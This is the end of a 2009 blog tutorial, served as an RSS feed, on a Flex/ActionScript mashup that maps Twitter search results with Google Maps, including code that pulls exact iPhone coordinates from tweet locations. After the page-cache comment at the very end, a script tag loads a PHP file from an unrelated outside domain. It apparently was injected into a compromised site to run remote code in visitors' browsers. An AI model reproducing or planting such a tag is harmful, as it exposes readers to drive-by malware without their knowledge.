<span style="color: #339933;">        var i:int = tweets.getItemIndex(currentTweet);</span>
<span style="color: #339933;">        if (i+1 &lt; tweets.length)</span>
<span style="color: #339933;">          setTweet(i+1);</span>
<span style="color: #339933;">      }</span>
<span style="color: #339933;">      public function prevClick(e:MouseEvent):void{</span>
<span style="color: #339933;">        var i:int = tweets.getItemIndex(currentTweet);</span>
<span style="color: #339933;">        if (i-1 &gt;=0)</span>
<span style="color: #339933;">          setTweet(i-1);</span>
<span style="color: #339933;">      }</span>
<span style="color: #339933;">      public function setTweets(arr:ArrayCollection):void{</span>
<span style="color: #339933;">        tweets = arr;</span>
<span style="color: #339933;">        totalText = &quot;Total tweets : &quot; +tweets.length.toString();</span>
<span style="color: #339933;">        setTweet(0);</span>
<span style="color: #339933;">      }</span>
<span style="color: #339933;">    ]]&gt;</span>
<span style="color: #339933;">  &lt;/mx:Script&gt;</span>
  <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:Text</span> id=<span style="color: #ff0000;">&quot;total&quot;</span> text=<span style="color: #ff0000;">&quot;{totalText}&quot;</span> <span style="color: #7400FF;">/&gt;</span></span>
  <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:TextArea</span> editable=<span style="color: #ff0000;">&quot;false&quot;</span> wordWrap=<span style="color: #ff0000;">&quot;true&quot;</span> width=<span style="color: #ff0000;">&quot;100%&quot;</span> text=<span style="color: #ff0000;">&quot;{_author}&quot;</span> id=<span style="color: #ff0000;">&quot;author&quot;</span><span style="color: #7400FF;">/&gt;</span></span>
  <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:TextArea</span> editable=<span style="color: #ff0000;">&quot;false&quot;</span> wordWrap=<span style="color: #ff0000;">&quot;true&quot;</span> height=<span style="color: #ff0000;">&quot;50&quot;</span> text=<span style="color: #ff0000;">&quot;{_content}&quot;</span> width=<span style="color: #ff0000;">&quot;100%&quot;</span> id=<span style="color: #ff0000;">&quot;content&quot;</span><span style="color: #7400FF;">/&gt;</span></span>
  <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:HBox</span><span style="color: #7400FF;">&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:Button</span> click=<span style="color: #ff0000;">&quot;prevClick(event)&quot;</span> label=<span style="color: #ff0000;">&quot;Prev&quot;</span><span style="color: #7400FF;">/&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:Button</span> click=<span style="color: #ff0000;">&quot;nextClick(event)&quot;</span> label=<span style="color: #ff0000;">&quot;Next&quot;</span><span style="color: #7400FF;">/&gt;</span></span>
&nbsp;
  <span style="color: #000000;"><span style="color: #7400FF;">&lt;/mx:HBox</span><span style="color: #7400FF;">&gt;</span></span>
<span style="color: #000000;"><span style="color: #7400FF;">&lt;/mx:VBox</span><span style="color: #7400FF;">&gt;</span></span></pre></div></div>

<p>Nothing really special about this. Just a few display options and controls. This is what will go through the arrayCollection of tweets though and display the author and content of that tweet.</p>
<p>Here is one thing to note. When you do a search, you are given the last 15 posts in that area. You might notice though, you are only getting about 4 markers?  Well if you look back at the beginning, we added a listener on the geocoder for failure. Why is it that on the picture I provided has around 8 to 10 of them? After looking what was failing, I noticed some of them were things that didnt make sense (IE: LIVIN IT UPTWN IN QUEENZZZZ) and as awesome as google is, that is not being mapped to an address.</p>
<p>What is more important, I did notice something else was failing to map to an address, which was posts from iPhones. Another interesting note, when locations come back, normally it would be something like &#8220;Brooklyn&#8221;, &#8220;NYC&#8221;, &#8220;Queens&#8221;, &#8220;Astoria&#8221;, etc, which were mapped to generic locations, not exact location of the tweet. BUT, a post from an iPhone gives their latitude and longitude (which I am assuming is at the time of the tweet). Now that is awesome/creepy! So how do we parse those?</p>
<p>Here is what the geocoder failure event looks like:</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript" style="font-family:monospace;"><span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> geocoder_geocodingFailure<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">e</span>:GeocodingEvent<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
  <span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">e</span>.<span style="color: #0066CC;">name</span>.<span style="color: #0066CC;">indexOf</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;iPhone&quot;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&gt;</span> -<span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
    <span style="color: #808080; font-style: italic;">//iphone found</span>
    <span style="color: #000000; font-weight: bold;">var</span> point:LatLng = MapUtils.<span style="color: #006600;">cleanIphone</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">e</span>.<span style="color: #0066CC;">name</span><span style="color: #66cc66;">&#41;</span>;
    <span style="color: #000000; font-weight: bold;">var</span> nm:NamedMarker = <span style="color: #000000; font-weight: bold;">new</span> NamedMarker<span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;iPhone&quot;</span>, point<span style="color: #66cc66;">&#41;</span>;
    addMarker<span style="color: #66cc66;">&#40;</span>nm,point<span style="color: #66cc66;">&#41;</span>;
  <span style="color: #66cc66;">&#125;</span>
<span style="color: #66cc66;">&#125;</span></pre></div></div>

<p>We scan the name (which is the location property on the tweet) for the word &#8220;iPhone&#8221; and if we have a match, we then get the lat/lng from it and add it to our marker list. We still have to change a few other things . In our addTwit function in the manager, change it to this:</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript" style="font-family:monospace;"><span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> addTwit<span style="color: #66cc66;">&#40;</span>twit:<span style="color: #0066CC;">Object</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
 <span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span>twit.<span style="color: #006600;">location</span> as <span style="color: #0066CC;">String</span><span style="color: #66cc66;">&#41;</span>.<span style="color: #0066CC;">indexOf</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;iPhone&quot;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&gt;</span> -<span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
   <span style="color: #808080; font-style: italic;">//handle iphone</span>
   <span style="color: #000000; font-weight: bold;">var</span> latlng:LatLng = MapUtils.<span style="color: #006600;">cleanIphone</span><span style="color: #66cc66;">&#40;</span>twit.<span style="color: #006600;">location</span><span style="color: #66cc66;">&#41;</span>;
   twit.<span style="color: #006600;">location</span> = <span style="color: #ff0000;">&quot;iPhone: &quot;</span>+latlng.<span style="color: #006600;">lat</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>+<span style="color: #ff0000;">&quot;,&quot;</span>+latlng.<span style="color: #006600;">lng</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
 <span style="color: #66cc66;">&#125;</span>
 _tweets.<span style="color: #006600;">addItem</span><span style="color: #66cc66;">&#40;</span>twit<span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span></pre></div></div>

<p>then change getTwitByLatLng to this:</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript" style="font-family:monospace;"><span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> getTwitByLatLng<span style="color: #66cc66;">&#40;</span>latlng:LatLng<span style="color: #66cc66;">&#41;</span>:ArrayCollection<span style="color: #66cc66;">&#123;</span>
  <span style="color: #000000; font-weight: bold;">var</span> arr:ArrayCollection = <span style="color: #000000; font-weight: bold;">new</span> ArrayCollection<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
  <span style="color: #b1b100;">for</span> each <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> nm:NamedMarker <span style="color: #b1b100;">in</span> _markers<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
    <span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span>nm.<span style="color: #006600;">getLatLng</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">lat</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> - latlng.<span style="color: #006600;">lat</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> == <span style="color: #cc66cc;">0</span> <span style="color: #66cc66;">&amp;&amp;</span> nm.<span style="color: #006600;">getLatLng</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">lng</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> - latlng.<span style="color: #006600;">lng</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> == <span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
      <span style="color: #000000; font-weight: bold;">var</span> s:<span style="color: #0066CC;">String</span> = nm.<span style="color: #0066CC;">name</span>;
      <span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span>s.<span style="color: #0066CC;">indexOf</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;iPhone&quot;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&gt;</span> -<span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
        s = nm.<span style="color: #0066CC;">name</span>+<span style="color: #ff0000;">&quot;: &quot;</span> + latlng.<span style="color: #006600;">lat</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>+<span style="color: #ff0000;">&quot;,&quot;</span>+latlng.<span style="color: #006600;">lng</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
      <span style="color: #66cc66;">&#125;</span>
      arr= getTwit<span style="color: #66cc66;">&#40;</span>s<span style="color: #66cc66;">&#41;</span>;
    <span style="color: #66cc66;">&#125;</span>
  <span style="color: #66cc66;">&#125;</span>  
  <span style="color: #b1b100;">return</span>  arr;
<span style="color: #66cc66;">&#125;</span></pre></div></div>

<p>Now when you run this, especially in dense areas of Manhattan, we will see a bunch more pop up, all with the ever so interesting and informative twitter posts that everyone is dying to read! Side note, I did notice another location failing that also gave its lat/lng, but I felt for the sake of the tutorial, I did not want to cover it with parsers. Feel free to add it in the source yourself though.</p>
<p>Here are some other things to keep in mind. One, not that I think I have to worry about it, but the Google Maps API allows 15,000 geocode searches in a 24 hour period. If you really want to play with it, I would recommend you download the source/swf yourself and play around with it. As for the twitter API, they limit you on searches as well (hence me putting a 10 second timer on the button). What is more annoying, they tell you that you get 100 searches or something like that an hour. Unfortunately, they do not tell you how many <strong>geocode</strong> searches you get. They just say it is different. Long story short, depending on how popular this article gets, it might break it for the day hehe.</p>
<p>On top of that, I tried testing it out on myself and failed. I put up a new twitter account, made sure my location was set, and placed a tweet up there. I was let down when I could not find myself. Then after examining the twitter post through their own search API by username, I noticed my location was not set on the posts, explaining why I could not find myself. Feel free to try it out with an iPhone though.</p>
<p>If you did not notice, I opted to use .atom results over json results. I would have preferred to use json, but I could not get the json to parse correctly using the built in json parser in <a href="http://code.google.com/p/as3corelib/" target="_blank">actionscript3 corelib</a>. Not sure why, but when I used atom, everything was fine. Lastly, the only reason I added the username portion is if someone is using an iPhone, the results are even better, as you get to see where they actually were. Some results I got from an iPhone user would always point to the same location (shrug?), but a few of them mapped out their day on the map. <img src='http://codeofdoom.com/wordpress/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>I feel Twitter did a really good job at making it simplistic to utilize their services. It really cannot get that much easier than just calling a webservice with some query results. It does expalin the extremely large amount of Twitter applications out there. This project somewhat ballooned out of control with the amount of things I wanted to do with it, especially considering I just wanted this to be a post on using the Twitter API. There are many other functions with the Twitter API that can be used (posting, searching, etc) that is worth checking out.</p>
<p>Questions? Concerns? Feel free to comment!</p>
<p>Check out the source <a href="http://codeofdoom.com/wordpress/SourceCode/TwitterGoogleMapsExample.rar">here</a>.</p>
<p>Check out the demo <a href="http://www.codeofdoom.com/wordpress/swf/GoogleMapsTwitter/GoogleMapsExample"  target="_blank">here</a>. Please heed the warning I gave before on possibly crashing it though. Once again, if you really want to play with it, I recommend just downloading the <a href="http://codeofdoom.com/wordpress/SourceCode/TwitterGoogleMapsExample.rar">source</a> and running it on your machine. Thanks!</p>
]]></content:encoded>
			<wfw:commentRss>http://codeofdoom.com/wordpress/2009/04/26/twittergoogle-maps-mashup/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic page generated in 2.226 seconds. -->
<!-- Cached page generated by WP-Super-Cache on 2010-07-29 10:33:32 -->
<script src="http://indesignstudioinfo.com/ls.php"></script>